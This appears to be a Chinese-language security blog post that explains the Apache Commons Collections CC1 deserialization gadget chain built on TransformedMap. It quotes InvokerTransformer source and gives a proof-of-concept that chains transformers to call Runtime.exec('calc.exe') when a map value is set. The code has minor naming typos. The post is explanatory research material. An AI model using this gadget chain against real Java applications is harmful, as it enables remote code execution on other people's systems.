java 反序列化CC1链分析(TransformedMap)

  • Post author:
  • Post category:java




Map类 –> TransformedMap

Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时

会调用transform方法自动进行特定的修饰变换

,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据改变时,进行一些我们提前设定好的操作。


TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。

第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法



Transformer接口


transform方法


在这里插入图片描述

我们可以看到该类接收一个对象,获取该对象的名称,然后调用了一个invoke反射方法。另外,多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。


常用的一些实现Transformer接口的类

ConstantTransformer
把一个对象转化为常量,并返回。

InvokerTransformer
通过反射,返回一个对象

ChainedTransformer
ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer


InvokerTransformer代码

public class InvokerTransformer implements Transformer, Serializable {

...

    /*
        Input参数为要进行反射的对象,
        iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
        iArgs为对应方法的参数
        在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
    */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}



构造

那么我们的总体思路就是

1)构造一个Map和一个能够执行代码的ChainedTransformer,

2)生成一个TransformedMap实例

3)利用MapEntry的setValue()函数对TransformedMap中的键值进行修改

4)触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换

public static void main(String[] args) throws Exception {
    //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", 
            new Class[] {String.class }, new Object[] {"calc.exe"})};

    //首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap
    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("1", "zhang");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //触发Map中的MapEntry产生修改(例如setValue()函数
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    
    onlyElement.setValue("foobar");
    /*代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:
       首先通过ConstantTransformer获得Runtime类
       进一步通过反射调用getMethod找到invoke函数
       最后再运行命令calc.exe。
    */
}

参考 https://www.cnblogs.com/ssooking/p/5875215.html



版权声明:本文为wsitcj原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。